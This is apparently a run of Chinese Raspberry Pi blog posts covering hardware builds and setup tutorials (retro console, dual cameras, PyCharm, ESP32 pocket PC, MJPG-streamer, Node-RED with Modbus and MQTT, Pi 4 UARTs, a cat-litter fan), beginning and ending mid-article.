分钟。之后按照正确的元件焊接顺序,依次重复此操作。 2.THT 元件焊接 将 USB 端口、按键和 CON2 连接器添加到 PCB 板,然后焊接。 最后焊接排母。PCB 板的焊接就大功告成了,接上锂离子电池,在 USB 端口处接 USB 电源监视器,检查 USB 的输出是否为 5V,没问题后接入 Raspberry Pi Zero W(已安装 RecalBox,并完成配置文件的更改)。 九、整体组装 利用 3D 打印的支撑部件将显示器固定到 3D 打印的外壳上,用四个 M2 螺丝将电路板安装到外壳上,并将显示器的 VCC、GND 和 PAL 端口与 Raspberry Pi 和电路板连接起来。完成后就可以通过 ON – OFF 垂直按钮启动 Recalbox 了。 3D 打印文件在本项目文件库中可以下载: https://make.quwj.com/project/385 完成!开启你的复古游戏之旅吧! 十、添加更多游戏 添加游戏只需下载相应 ROM 即可,具体操作如下: 进入 Settings > Network Settings,添加路由器的 SSID 和密码,将树莓派连网,可以在网络设置菜单的顶部看到树莓派的 IP 地址。 然后在电脑上打开 Win SCP,输入树莓派的 IP 地址,用户名是 root,pi 的密码是 recalboxroot。 进入 recalbox > share > rom,这里包含所有的 ROM 文件,如果想玩其中一款游戏,只需将其 ROM 文件复制粘贴到 GBA 文件夹中即可。 重启树莓派后打开 GBA 模拟器,就可以看到新添加的游戏了。 希望你可以从这个项目中得到一些制作复古游戏机的启发。 项目所用的代码在本项目文件库中可以下载: https://make.quwj.com/project/385 via --- ## 使用静态 IP 地址 Date: 2021-10-25 URL: https://blog.wo.ai/archives/3439 Categories: Uncategorized MCC 172是一个两通道DAQ HAT,用于通过IEPE传感器(如加速度计和麦克风)进行声音和振动测量。它的每个通道具有24位A/D,最大采样率为51.2 kS/s/Ch。 --- ## 启用树莓派 CM4 CM4IO 的双路摄像头 Date: 2021-10-25 URL: https://blog.wo.ai/archives/3429 Categories: Uncategorized 树莓派 CM4IO 底板上提供双 MIPI CSI-2 摄像头接口,但系统默认是没有开启的。本文将介绍如何配置和使用双摄像头。 硬件准备 CM4 + CM4IO 开发板 X 1 树莓派摄像头模块 X 2 摄像头模块软排线 X 2 这里使用官方 800 万像素摄像头模块,默认配的软排线不兼容 CM4IO,所以需要自己配一条软排线如图所示。 使用软排线将摄像头模块与 CM4IO 板上的 CAM0、CAM1 接口连接,注意排线银色亮面朝下。 如果只使用其中一个摄像头,则不需要特别的硬件设置。如果要启用多个摄像头,需要使用跳线帽将 CM4IO 板上的 J6 短接。如下图所示。 系统设置 运行下面的命令更新 dt-blob.bin 文件。 sudo wget https://datasheets.raspberrypi.org/cmio/dt-blob-dualcam.bin -O /boot/dt-blob.bin 运行命令开启摄像头接口。 sudo raspi-config 选择 Interface Options -> Camera -> Enable,设置完后按提示重启系统(有图形界面的系统可以在设置里直接设置开启 Camera)。 使用方法 重启后进入终端输入命令。 ls /dev 确认一下是否出现了 video0、video1 两个设备。 然后就可以开始使用了。至于如何指定某个摄像头,可以使用 -cs 参数。 # 打开第一个摄像头拍照和录制视频 sudo raspistill -o test.jpg -cs 0 sudo raspivid -o test.flv -cs 0 # 打开第二个摄像头拍照和录制视频 sudo raspistill -o test.jpg -cs 1 sudo raspivid -o test.flv -cs 1 如有问题欢迎在小组讨论~ https://talk.quwj.com/ --- ## 在树莓派上安装 PyCharm Date: 2021-10-25 URL: https://blog.wo.ai/archives/3435 Categories: Uncategorized PyCharm 是一种 Python IDE(Integrated Development Environment,集成开发环境),带有一整套可以帮助用户在使用 Python 语言开发时提高其效率的工具,比如调试、语法高亮、项目管理、代码跳转、智能提示、自动完成、单元测试、版本控制。本教程为你介绍如何在树莓派上安装 PyCharm。本教程作者 @Tony 源自趣小组。 运行 PyCharm 需要 Java 环境,如果树莓派上还没有安装过 JRE,可以使用以下命令安装即可: sudo apt install default-jre -y 下载安装 前往 JetBrains 官网下载 PyCharm 社区版(Community): https://www.jetbrains.com/pycharm/download/#section=linux #解压,命令行中的文件名以实际下载的为准。 tar -zxvf pycharm-community-2020.2.1.tar.gz #运行,命令行中的目录名以实际下载的为准。 cd pycharm-community-2020.2.1/bin ./pycharm.sh 创建快捷方式 为了方便起见,可以添加快捷方式到启动器和桌面。 在启动器中添加图标,编辑文件。 sudo nano /usr/share/applications/pycharm.desktop 输入以下内容 [Desktop Entry] Name=PyCharm Type=Application Exec=/home/pi/pycharm-community-2020.2/bin/pycharm.sh Icon=/home/pi/pycharm-community-2020.2/bin/pycharm.png Categories=Development 然后你就会看到树莓派菜单中的 PyCharm 图标。 在桌面上添加图标,编辑文件。 nano ~/Desktop/pycharm.desktop 输入以下内容 [Desktop Entry] Type=Link Name=PyCharm Icon=/home/pi/pycharm-community-2020.2/bin/pycharm.png URL=/usr/share/applications/pycharm.desktop 然后你就会在桌面上看到 PyCharm 图标。 --- ## 在树莓派登录信息中加入温度 CPU、内存硬盘占用率信息 Date: 2021-10-25 URL: https://blog.wo.ai/archives/3433 Categories: Uncategorized MCC 172是一个两通道DAQ HAT,用于通过IEPE传感器(如加速度计和麦克风)进行声音和振动测量。它的每个通道具有24位A/D,最大采样率为51.2 kS/s/Ch。 --- ## 基于树莓派和 ESP32 制造一台掌上电脑 Date: 2021-10-25 URL: https://blog.wo.ai/archives/3423 Categories: Uncategorized MAKER:rahmanshaber/译:趣无尽(转载请注明出处) 因为树莓派本身就是一台微型的电脑,大家对于如何使用树莓派来实现一台多功能的电脑一直在做不同的尝试。 在前面的教程中我们曾发表过《Pi-Micro:用树莓派ZeroW制作的掌上电脑》,如手机般大小的掌上电脑;还有《Arduino制作:支持Basic和VGA显示器的复古计算机》基于 Arduino 的掌上电脑。 今天我们给大家带来一个基于 ESP32-S2 ,附带 56 个键盘,4 英寸显示屏以及扩展接口的树莓派掌上 PC。整个项目所需材料不多,易于构建,且外壳使用 3D 打印,整体造价不高。 项目特点: – ESP32-S2,易于焊接且损耗小。 – 4 英寸 IPS 显示屏,4GB RAM,2 个 HDMI 输出端口。 – 56 个键可定制键盘,2 个用于导航的侧边按钮。 – 带有 RTC 时钟、蜂鸣器、振动、光敏传感器和红外发射模块。 – 支持红外遥控;支持自动息屏;支持显示新旧加载项;支持鼠标左右键。 – 支持 MPU6050 陀螺仪模块、BME280 压力模块和温湿度模块。 – 支持键盘按钮关闭模块、显示器以及附加组件;支持使用操作系统和键盘键关闭电源。 – 带有 USB type C 型号的 Nurolink / Dock 端口,支持 UART、I2C 和供电。 – 支持读取电池电量并在电池电量不足时关闭设备电源。 – 支持 ESP32-S2 与树莓派通过 Neopixel 库双向连接。 – 18650 锂电池,带充放电保护。 – 改进版的外壳使其更好地贴合 PCB。 组件清单 Esp32-S2 × 1 树莓派 × 1 3D 打印部件 × 若干 USB C 到 USB C 转换器 × 1 4 x 2 公头排针 × 1 2 x 20 母头排针 × 1 4 英寸 IPS 显示屏 × 1 FPC 连接器 × 1 锂电池 × 1 PCB 板 × 1 GPS 模块 × 1 DS3231 × 1 蜂鸣器 × 1 TP4056 × 1 RTC 时钟 × 1 按键 × 56 USB C 接口 × 2 螺丝螺母 × 若干 电阻 × 若干 电容 × 若干 LED 灯 × 1 接线 × 若干 贴片按键 × 2 吸锡带 × 1 电烙铁 × 1 焊锡丝 × 1 剪线钳 × 1 助焊剂 × 1 修边刀 × 1 PCB 功能介绍 我将提供完整的清单,它包含所有的功能,但你可以根据自己的需求来组装。 组件功能介绍如下(参考): S – 1 开关电源模块,用于控制设备开关(必备)。 S – 2 连续充电模块 ,断开充电器,防止设备重启 S – 3 升压模, 将电池出来的电压升至 5 V S – 4 ESP32-S2 + 复位模块,控制器 (必备)。 S – 5 振动模块 提供振动反馈(可选)。 S – 6 时钟模块 断电后保持计时(可选)。 S – 7 MP6050 / BME280 陀螺仪 / 温湿度(可选)。 S – 8 扩展电源 设备关闭时可保持显示模块 S – 7 的功能(可选)。 S – 9 红外模块 红外遥控器 (可选)。 我列出两个版本供大家参考,一个精简版和一个完整版。你可以根据自己的需求对组件进行了删减。 PCB 与 3D 外壳打印 PCB 选定好功能后就可以开始搭建以及 3D 打印外壳。外壳总有五个部分。 关于外壳 3D 打印文件可以在本项目文件库中下载: https://make.quwj.com/project/401 PCB 总有三个部分。 关于 PCB 3D 打印文件可以在本项目文件库中下载: https://make.quwj.com/project/401 焊接部分 在 PCB 中一共有八个模块,我将分模块进行焊接,先焊接三个模块的零件,这样有助于分步查错。 焊接顺序如下: – USB C 端口 > S – 2 > 电池连接器 >> 查看电池是否充电。 – S-4 (暂不焊接 FPC 连接器) > 4 x 2 公头排针 >> 测试能否能够上传固件。 – S-1 > S – 3 >> 连接电池并按 S-3 模块中的按钮,查看指示灯是否亮起。 – 焊接 FPC 连接器(外接显示器用)和 2 x 20 母头排针 > S-8 >> 键盘 >> 连接树莓派和电池,按住电源按钮查看树莓派是否启动。 – S-6 > S-9 > S-7 >> 查看在 OS 的指导下,整个 PCB 板的是否工作正常。 组装部分 螺丝的型号如图所示。 3D 打印外壳所需的螺丝的型号为: – 22mm x 2 – 9mm x 2 – 6mm x 4 – 8mm x 1 – 10mm x 1 – 16mm x 1 尝试将 PCB 放入,毛边的地方需要用砂纸打磨。 线路连接及其他功能的扩展(可选) 在 PCB 有一个扩展端口(2 x 10 pin 的母头排针),接入后可扩展一下六个功能: – 无线电广播, LoRa 通信 – 自定义 Wifi – GPS – Micro SD – 蓝牙 – 压力+湿度+温度模块 – 自定义专属模块 Nurolink / Dock 端口的扩展 该设备的 Nurolink / Dock 对接端口,可以用来供电、连接外部设备或外部电路。 如图所示,可连接到 Nurolink / Dock 端口的 GPS 模块。 同时也可通过 Nurolink / Dock 端口连接两个接口,需要将 USB C 和 USB C 的电缆进行改动,需要交换 D+ 和 D- 线,因为 TX 要连接至 RX,没有改动的线是 Tx 是连接到 TX。 Nurolink / Dock 端口的 6 个引脚如下: -2 个引脚分别为 UART / TTL 引脚:Tx 和 Rx -2 个引脚分别为电源引脚:3v 和接地 -2 个引脚分别为 I2c 引脚:SDL 和 SCL 可升级的地方 DIY PC 的过程不会一帆风顺,仍有许多改进的地方,可以不断的优化项目。 例如: Arduino 编码,可在固件中添加功能。 Fusion 360,可改进支持且更容易构建。 Python,可使附件充分发挥作用,例如基于 Lora 的通信应用程序能够与其他 PC 用户进行通信。 FreeCAD,将其移植到 freeCAD,能够更加开源。 KiCAD,能够更加开源。 via --- ## 基于树莓派的 WebDAQ 504 应用案例 Date: 2021-10-25 URL: https://blog.wo.ai/archives/3421 Categories: Uncategorized WebDAQ 504 是 MCC 基于树莓派设计的数据采集产品,与我们之前推荐的 MCC DAQ HATs 系列一样,被用于解决工业数据采集的需求。下面这一则案例带你进一步了解 WebDAQ 504 以及树莓派在工业中的应用。 风力涡轮机变速箱故障测试系统 上海朋禾智能科技有限公司是一家专注于工业设备健康评估和故障诊断的定制解决方案提供商。他们专注于工业物联网(IIoT)平台设计,边缘计算系统架构和工业级硬件平台设计作。 风力发电行业的客户需要风力涡轮机的测试解决方案。通过收集和分析轴承和其它组件的振动数据,对涡轮传动系统齿轮箱进行诊断。 预测风力涡轮机中的齿轮和轴承故障可以降低维护成本,缩短停机时间并防止绿色风电能源生产中断。 挑战 动力传动系统是风力涡轮机的心脏,包含发电机和齿轮箱,可以将叶片的旋转转换为电能。风力涡轮机变速箱可能会经受极端应变和扭矩使用场景,这使组件的耐用性成为一个挑战。 当典型的涡轮机仅以10~18RPM转速旋转时,感应发电机的转速可以达到1000RPM以上。这样的速度会产生了巨大的应力,给每个部件带来了沉重的负担。由于风力涡轮机的远距离监控的特点,传动系统的可靠性是重中之重。 所需的变速箱故障测试系统可模拟常见的轴承故障情况。通过模拟不同的运行和负载条件,它可以帮助检测可能发生轴承和齿轮故障的情况。 客户需要一种振动测量和分析解决方案,该解决方案不仅要功能强大,而且还要足够灵活以满足他们定制化算法的要求。该解决方案将需要在两种模式下使用。在独立模式下,该解决方案将收集数据作为测试平台的一部分,就地完成实时数据查看和分析。在IIoT模式下,数据采集解决方案将与涡轮机一起部署,远程实现实时记录和分析数据。 解决方案 MCC的WebDAQ 504被选为系统的核心数据采集部分。两个基于IEPE的加速度计直接连接到WebDAQ,且无需增加信号调理电路。这两个通道是同步采样的,还使用了内置的抗混叠滤波功能。水平和垂直加速度传感器已预先安装在测试台的齿轮箱轴承上,并且每个通道的采样速率高达25kS/s作为核心。 WebDAQ 504包含一个易于使用的基于Web浏览器的应用程序,该应用程序允许用户设置采集,记录, 分析和显示数据,启用警报以及将数据导出到第三方应用程序。 WebDAQ 504的计算引擎是树莓派计算模块(Raspberry Pi computer module)。通过使用WebDAQ开源代码,程序员可以直接访问树莓派计算模块,这使该系统成为真正的边缘计算解决方案。随附的Python示例程序允许程序员快速构建其应用程序,并连接程序的自定义显示和分析部分。 执行 在独立模式下,通过WebDAQ内置的应用程序进行配置及数据采集,实时分析不同工况(负载和速度)下的振动数据。 在IIoT模式下,WebDAQ 504与涡轮一起部署,并通过以太网进行通信。该系统支持将WebDAQ 504连接到公有云或私有云。通过自定义界面,可以实现诸如设备管理,远程监视和健康评估之类的应用程序,这些应用程序适合于分布式在线监视和健康管理应用程序场景。数据还可以通过MQTT协议上载,与辅助数据应用程序一起使用。 测试台可模拟多种操作条件,为操作员提供有价值的反馈。负载分析数据使工程师能够检测轴承和齿轮故障情况。 成果 完整的系统是一个灵活的平台,可以收集和分析振动数据。它满足了客户的专用软件需求,为客户提高了设备可靠性并减少了设备维护时间。 崔鹏 总经理 上海朋禾智能科技有限公司 上海市浦东新区纳贤路800号科海大楼 http://www.phengine.com 获取更多关于Measurement Computing的信息,请访问官网:china.mccdaq.com --- ## 工业树莓派结合USB摄像头实现远程网络监控 Date: 2021-10-25 URL: https://blog.wo.ai/archives/3425 Categories: Uncategorized 背景 工业环境下为了更好地查看设备附近的运行状况,一般都会安装摄像头达到监控的效果,工业树莓派适用于工业环境,本次测试就使用工业树莓派和USB摄像头结合达到远程网络监控的效果。本次测试采用的远程网络监控工具是MJPG-streame,它是一款免费基于IP地址的视频流服务器,它的输入插件从摄像头读取视频数据,这个输入插件产生视频数据并将视频数据复制到内存中,它有多个输出插件将这些视频数据经过处理,其中最重要的输出插件是网站服务器插件,它将视频数据传送到用户浏览器中,MJPG-streamer的工作就是将其中的一个输入插件和多个输出插件绑定在一起,所有的工作都是通过它的各个插件完成的。 准备工作 1台工业树莓派 1个USB摄像头:普通摄像头即可,本次测试采用的是无需驱动的USB摄像头。 安装步骤 1、检查是否存在USB摄像头设备。 1)方法一:lsusb 2)方法二:ls /dev 可以看到video0就表示有USB摄像头设备在运行 2、安装MJPG-Streamer。 依次按照以下命令安装: 1)sudo apt-get install cmake libjpeg8-dev 2)wget https://github.com/Five-great/mjpg-streamer/archive/master.zip (注意:如果无法连接到github,可以用PC端下载压缩包,然后通过FinalShell或者FTP服务器上传到树莓派。) unzip mjpg-streamer-master.zip 3) cd mjpg-streamer-master cd mjpg-streamer-experimental 4)make 5)sudo make install 6)cd /home 3、启动MJPG-Streamer /usr/local/bin/mjpg_streamer -i “/usr/local/lib/mjpg-streamer/input_uvc.so -n -f 30 -r 1280×720” -o “/usr/local/lib/mjpg-streamer/output_http.so -p 8080 -w /usr/local/share/mjpg-streamer/www” 4、实时视频接收 用浏览器打开网址:http://<树莓派IP地址>:8080/javascript.html 5、总结 如此便可以实现远程网络监控,适用的场景可以是监控树莓派控制的电机的运行状态或者传感器的运行状态。在一定程度上也降低了成本,相较于以太网接口摄像头,USB摄像头更加实惠。 关于虹科 虹科是一家在工业物联网IIoT行业经验超过3年的高科技公司,虹科与世界领域顶级公司包括EXOR、Eurotech、Unitronics、Matrikon、KUNBUS等合作,提供一系列先进的高端的工业4.0 HMI、高端边缘计算机、IoT开发方案、PLC与HMI一体机、OPC UA、工业级树莓派等解决方案。物联网事业部所有成员都受过国内外专业培训,并获得专业资格认证,平均3年+的技术经验和水平一致赢得客户极好口碑。 我们积极参与行业协会的工作,为推广先进技术的普及做出了重要贡献。至今,虹科已经为行业内诸多用户提供从硬件到软件的不同方案,并参与和协助了众多OEM的设备研发和移植项目,以及终端用户的智能工厂和工业4.0升级改造项目。我们致力于为中国乃至全球的万物互联、智能制造贡献自己的力量。 --- ## 工业树莓派零代码实现工业协议与MQTT互转 Date: 2021-10-25 URL: https://blog.wo.ai/archives/3415 Categories: Uncategorized 在以往的文章中,我们已经介绍了虹科的工业树莓派与Node-RED之间配合的种种可能性。今天,我们将通过实操案例,来看看如何使用Node-RED,以拖拽式低代码,甚至是无代码编程的方式,轻松实现工业协议与MQTT互转以及简单的HMI数据面板,帮助您有效降低在OT协议方面的学习成本,在低经验,甚至是无OT编程经验的情况下,快速在OT协议中的数据与云端数据之间建立联系。 准备工作 1.硬件准备 PC一台 工业树莓派一台 24V直流电源 网线 相关协议网关模块(可选,根据实际需求添加) 2.软件准备 PC上: Chrome内核的浏览器 树莓派上: Node-RED、Node-RED RevPi Nodes Server(默认已预装,若发现预装缺失,或需要版本更新可联系广州虹科获取相关文档) node-red-dashboard(可选,用于制作简单的HMI数据面板) 操作步骤 1.树莓派上电,连好网线,使用Advanced IP Scanner或类似软件扫描工业树莓派的IP地址,或在路由器后台中直接查看DHCP客户端列表,从而确定树莓派所在IP地址。 2.浏览器打开树莓派所在IP地址,出现登录画面,账号为admin,默认密码会印在机身侧面的贴纸上,每台机子默认密码各不相同。 3.登录后打开SERVICES选项卡,分别将以下三项设为Enable,最后点SAVE ALL保存设置。 Modbus Master(本文以Modbus为例,因此需要将Modbus主站功能使能,若不使用Mobus协议则无需Enable此项) Node-RED Node-RED RevPi Nodes Server 4.回到APPS选项卡,点击PiCtory右边的START进入树莓派的模块配置界面——PiCtory。 5.首先把主模块按实际情况从左边设备列表中拖到右边(作为例子,本文使用Core作为主模块),把其它IO模块和协议网关模块按实际情况中的左右物理位置,按顺序把模块拖到主模块两边(本文没有使用额外模块)。最后,若要使用主模块的Modbus RTU/TCP主站功能,则在Virtual Devices中找到相应的虚拟模块,拖动到右边,如下图所示。 6.设置相应的协议模块,本文以设置Modbus TCP主站为例:选定要设置的Modbus TCP主站虚拟模块,在右下角变量表中拖到最下方,在slave_IP_address中填入Modbus TCP从站所在IP地址,slave_TCP_port中填入Modbus TCP通讯设置的端口号,默认是502。 7.对着Modbus TCP主站虚拟模块右键点击,打开Extended Data设置界面,并按实际情况设置Modbus变量地址等相关参数,输入完成后点OK确定,附上本文Modbus TCP从站相关参数表: 8.配置完成后点上方菜单的File -> Save as Start-Config. 保存到启动方案,然后点Tools -> Reset Driver立即使配置生效。 9.开一个新标签页,再次输入树莓派IP打开工业树莓派设置主页,点击Node-RED右边的START,或直接访问 [树莓派IP]:1880 进入Node-RED编程界面。 10.在左边的节点列表中找到Revolution Pi分类,此分类底下的节点即为专为工业树莓派设计的节点。拖动一个revpi-multiple-input节点到右边网格区域,然后双击打开对其进行配置。先点击Server右边的铅笔案例,保持默认的localhost地址和8000端口,其它参数保持留空,然后点击右上角的添加,最后在Input Pins列表中找到以下3个变量(该列表只能找到输入变量,输入是对树莓派而言),分别勾上然后点右上角的完成。 Input_Word_1 Input_Word_2 Input_Word_3 11.拖一个Debug节点到revpi-multiple-input节点的右边,简单的把两个模块连上,点整个网页右上角的“部署”。 12.把Modbus TCP从站中的变量值稍作更改,这里我把从站中地址1变量的值改成了321(revpi-multiple-input节点需要它监视的变量中至少一个值有变化,才会向后面的节点输出信息),此时在Debug信息区中找到如下信息表示Modbus TCP数据获取成功。(变量属性是数字形式或者字符串形式都没关系,不影响后续使用)。 13.按下图方式配置节点,其中MQTT输入输出节点仅需配置MQTT地址、端口、Topic等基本信息即可,本文把树莓派的发布Topic设为了RevPiPub,订阅Topic设为了RevPiSub。 分割消息和消息分流节点配置分别如下。 分流节点右边的3个节点为revpi – output,默认会选定前面设置过的localhost:8000作为Server,这部分不需要更改,在下方Pin中分别选择3个输出变量名Output_Word_1、Output_Word_2、Output_Word_3即可。 14.修改完成后,别忘了点击整个网页右上角的“部署”。然后我们尝试把Modbus TCP从站中地址2变量的值改成44555,此时即能通过MQTT获取到一条记录Modbus变量的信息。 15.随后我们通过MQTT发送指令,分别通过JSON中out1、out2、out3三个字段,修改3个Modbus写入变量的值,效果如下图。 16.至此,MQTT和工业通讯协议中的变量交互已经完成,我们既实现了MQTT数据上传,也实现了数据下发。接下来,我们可以尝试创建一个简单的HMI数据面板。首先,在Node-RED右上角的“三”菜单中找到“节点管理”,然后进入“安装”选项卡,搜索node-red-dashboard并安装(安装速度取决于网络环境和树莓派工作负载)。 17.我们在前面的基础上,额外加上按下图形式编排的一些节点。其中左边一列节点均为inject节点,被设为每秒为周期重复注入字符串(变量名),中间一列节点全是工业树莓派专用节点中的revpi – getpin,用以通过变量名获取值,右边全是dashboard分类下的gauge。 18.点击部署后,浏览器访问 访问 [树莓派IP]:1880/ui 即可看到由Node-RED自动生成的简易HMI数据面板。 总结 通过以上的简单步骤,我们可以轻松实现Modbus变量数据与MQTT的交互,中途没有输过任何一行代码,甚至没有进入过命令行界面,全部都是浏览器上的设置操作,其它工业树莓派所支持的通讯协议的配置也是大同小异。总的思路就是给树莓派设置好相应的参数,树莓派自动从相应协议中获取值并存到变量中,我们只需要在Node-RED中拖拽编程,把变量送到MQTT发送组件即可。这种编程方式大幅降低了非OT从业人员开发相关应用的学习成本,用户也不用担心之前从未使用过树莓派,甚至完全没有Linux系统使用经验也没关系。此外,利用Node-RED上的其它开源节点,我们也能够以MQTT以外的多种方式传输数据、以丰富多样方式的展示数据。有编程经验的用户,也可以通过function节点在发送前对数据进行运算、过滤等多种处理,甚至利用exec节点接入其它应用,进行更为复杂的边缘运算。 --- ## 树莓派4 UART 多串口配置通信 Date: 2021-10-25 URL: https://blog.wo.ai/archives/3409 相比树莓派零、1、2 以及 3 的双串口 UART0(PL011)和 UART1(mini UART),树莓派4 中新增了 4 个 PL011 串口共计有 6 个 UART,整理此笔记用作记录和配置参考。 注意,目前搜到的大多数描述树莓派 4 串口的文章,大多数开头都是禁用下蓝牙,这个做法针对树莓派0-3 是必须的,因为本身串口不够用,但对树莓派 4 来说并不需要,因为有额外 4 个串口可以利用,默认配置好的两串口一个用于蓝牙(UART0)另一个是 miniUART 可以保留设置。此方面的文章大多都是一个流程,原因是参考的最初版本是树莓派 3 的设置;树莓派 4 的额外串口设置在树莓派论坛中可以看到相关的介绍,外面的文章不太多。 UART 配置 1\. 展示所有串口命令 $ dtoverlay -a | grep uart 展示 pi4 中所有串口 pi@raspberrypi:~ $ dtoverlay -a | grep uart midi-uart0 midi-uart1 miniuart-bt uart0 uart1 uart2 uart3 uart4 uart5 2\. 查看特定串口信息 $ dtoverlay -h uart2 查看 UART2 的配置信息等: pi@raspberrypi:~ $ dtoverlay -h uart2 Name: uart2 Info: Enable uart 2 on GPIOs 0-3 Usage: dtoverlay=uart2, Params: ctsrts Enable CTS/RTS on GPIOs 2-3 (default off) 相关信息会展现 GPIOs 与新的 UART 串口的分配:0-3 对应 UART2, 4-7 对应 UART3,8-11 对应 UART 4,以及 12-15 对应 GUIO 5 关于 4 个针脚中后两位对应的 CTS/RTS,可参考: https://blog.csdn.net/zeroboundary/article/details/8966586 3\. 配置开启串口 UART2-5 执行编辑 config.txt 命令: sudo nano /boot/config.txt 在文件结尾添加如下: dtoverlay=uart2 dtoverlay=uart3 dtoverlay=uart4 dtoverlay=uart5 保存(Write Out)并退出(Exit) 重启后查看是否生效: $ ls /dev/ttyAMA* 结果显示如下: pi@raspberrypi:~ $ ls /dev/ttyAMA* /dev/ttyAMA0 /dev/ttyAMA1 /dev/ttyAMA2 /dev/ttyAMA3 /dev/ttyAMA4 各 UART 串口与 GPIO 对应关系: GPIO14 = TXD0 -> ttyAMA0 GPIO0 = TXD2 -> ttyAMA1 GPIO4 = TXD3 -> ttyAMA2 GPIO8 = TXD4 -> ttyAMA3 GPIO12 = TXD5 -> ttyAMA4 GPIO15 = RXD0 -> ttyAMA0 GPIO1 = RXD2 -> ttyAMA1 GPIO5 = RXD3 -> ttyAMA2 GPIO9 = RXD4 -> ttyAMA3 GPIO13 = RXD5 -> ttyAMA4 4\. 测试 4.1 串口自发自收测试 现在我们先测试 UART2 是否启用成功,比较简单的测试方式是将其 TXD 和 RXD 相连,自发自收。 根据上方对应关系,UART2 对应 TXD2 和 RXD2,对应 GPIO0 和 GPIO1,对应 ttyAMA1 注:UART0 对应的 ttyAMA0,UART1 对应的 ttyS0,UART2 到 UART5 对应的 ttyAMA1 到 ttyAMA4。 找到对应的 GPIO0 和 GPIO1 针脚连起来: 在树莓派端命令行进入 Python3 环境,通过如下模块和命令自发自收: pi@raspberrypi:~ $ python3 Python 3.7.3 (default, Jul 25 2020, 13:03:44) [GCC 8.3.0] on linux Type “help”, “copyright”, “credits” or “license” for more information. >>> import serial >>> ted = serial.Serial(port=”/dev/ttyAMA1″, baudrate=9600) >>> ted.write(“Hello World”.encode(“gbk”)) 11 >>> ted.read(11) b’Hello World’ >>> 同理,我们可以继续用跳线帽将 GPIO4 和 5 相连测试 UART3;GPIO8 和 9 相连测试 UART4; GPIO12 和 13 相连测试 UART5。 pi@raspberrypi:~ $ python3 Python 3.7.3 (default, Jul 25 2020, 13:03:44) [GCC 8.3.0] on linux Type “help”, “copyright”, “credits” or “license” for more information. >>> import serial >>> ted = serial.Serial(port=”/dev/ttyAMA1″, baudrate=9600) >>> ted.write(“Hello World”.encode(“gbk”)) 11 >>> ted.read(11) b’Hello World’ >>> ted3 = serial.Serial(port=”/dev/ttyAMA2″, baudrate=9600) >>> ted3.write(“Hello No.3”.encode(“gbk”)) 10 >>> ted3.read(10) b’Hello No.3′ >>> ted4 = serial.Serial(port=”/dev/ttyAMA3″, baudrate=9600) >>> ted4.write(“Hello No.4”.encode(“gbk”)) 10 >>> ted4.read(10) b’Hello No.4′ >>> ted5 = serial.Serial(port=”/dev/ttyAMA4″, baudrate=9600) >>> ted5.write(“Hello No.5”.encode(“gbk”)) 10 >>> ted5.read(10) b’Hello No.5′ >>> 4.2 串口间通信测试 接下来测试 UART2 和 UART3 间的通信,将 TXD2 连接 RXD3 即 GPIO0 与 GPIO5 相连;将 TXD3 与 RXD2 连接即 GPIO4 与 GPIO1 相连。 GPIO0 = TXD2 -> ttyAMA1 GPIO4 = TXD3 -> ttyAMA2 GPIO1 = RXD2 -> ttyAMA1 GPIO5 = RXD3 -> ttyAMA2 pi@raspberrypi:~ $ python3 Python 3.7.3 (default, Jul 25 2020, 13:03:44) [GCC 8.3.0] on linux Type “help”, “copyright”, “credits” or “license” for more information. >>> import serial >>> ted = serial.Serial(port=”/dev/ttyAMA1″, baudrate=9600) >>> ted3 = serial.Serial(port=”/dev/ttyAMA2″, baudrate=9600) >>> ted.write(“Msg from UART2…”.encode(“gbk”)) 17 >>> ted3.read(17) b’Msg from UART2…’ >>> ted3.write(“Msg from UART3…”.encode(“gbk”)) 17 >>> ted.read(17) b’Msg from UART3…’ >>> OK 挺顺利,UART2 和 UART3 间通信正常。 参考 官方 UART 配置文档: https://www.raspberrypi.org/documentation/configuration/uart.md 论坛关于多串口的命令与指引: https://www.raspberrypi.org/forums/viewtopic.php?t=244827#p1493698 本文遵循CC 4.0 BY-SA版权协议,原文出处: https://blog.csdn.net/weixin_40796925/article/details/107907991 --- ## 用树莓派改造猫厕所:智能通风,告别异味 Date: 2021-10-25 URL: https://blog.wo.ai/archives/3437 Categories: Uncategorized 之前我们有介绍过「激光逗猫神器」来增加猫主子的运动量。今天要介绍的项目则可以解决铲屎官们痛点之一:猫主子粑粑的气味问题。每次铲屎的时候,猫砂的气味就会飘散出来,那是一种巨酸爽的味道。 这个猫咪个智能厕所使用一块树莓派就能将猫砂盆改造成自动通风的猫厕,每当猫主子「出恭」完毕,它就能自行启动风扇,进行散味。 硬件组成 组件清单如下: 树莓派 Zero W 80mm×80mm 风扇(CPU散热器) 12V 电源 1 截空调通风管 PIR 运动传感器(热释电传感器)若干 1k 欧姆电阻若干 三极管 1 个降压-升压变换器 这些硬件的总成本在 400 元左右。其中,10 美元的树莓派 Zero W 是整个装置的核心,用于控制电路什么时候运行。 作者表示,树莓派也可以用更便宜的树莓派 Pico 来代替(5美元),但他想了解自家猫咪的具体拉粑粑时间……因此选择了贵一点的树莓派 Zero W,可以远程登录查看数据。 风扇用于散味,空调通风管则用于排气。 PIR(红外)运动传感器,则用来检测猫咪什么时候进猫砂盆、什么时候出去,以决定风扇通风的时间。 此外,还需要一个降压-升压变换器(此处用了汽车 USB 充电器代替),因为风扇的供电电压需要达到 12V,但树莓派的额定运行电压却在 5V。 同时,树莓派的输出电压只有 3.3V,因此在树莓派输出 3.3V 信号的时候,还需要一个三极管来控制 12V 电路的开启和关闭。 整体搭建电路图如下(其中333Ω的电阻,由3个1kΩ的电阻并联获得): 图中,PIR 指运动传感器,Pz 指树莓派(输出通过 333 欧姆电阻与三极管相连),fan 指风扇,而风扇和树莓派之间的就是三极管。 至于图中的 5V 电压,可以直接用降压变换器,也可以对汽车 USB 充电器进行一个改装:先将它拆开,再把充电器的金属尖端用电线焊接替代,最后连接到主电路中。 到这里,硬件部分的组装就已经完成,搭建到猫砂盆上方后,看起来是这个样子的: 再用胶带或者热熔胶枪组装起来就行。 当然,这也只是完成硬件部分的制作,软件上还需要对树莓派进行设置。 软件和程序的安装 首先,需要给树莓派的SD卡安装系统,然后连接电源启动等。 再就可以开始部署程序了。由于作者想记录猫咪的拉粑粑时间,因此还安装了 Python 和数据库 MariaDB: sudo apt install mariadb-server-10.0 python3-pip pip3 install mariadb 除了数据库以外,还需要一个可以控制树莓派 GPIO引脚的 Python 库 GPIO ZERO(GPIO 引脚指图中这部分): sudo apt install python3-gpiozero 安装后,就可以运行主要的程序了,这部分的原理,是在传感器触发后,将风扇启动10分钟: FAN_ON_DURATION = 10 * 60 # 10 min outpin = LED(22) pir 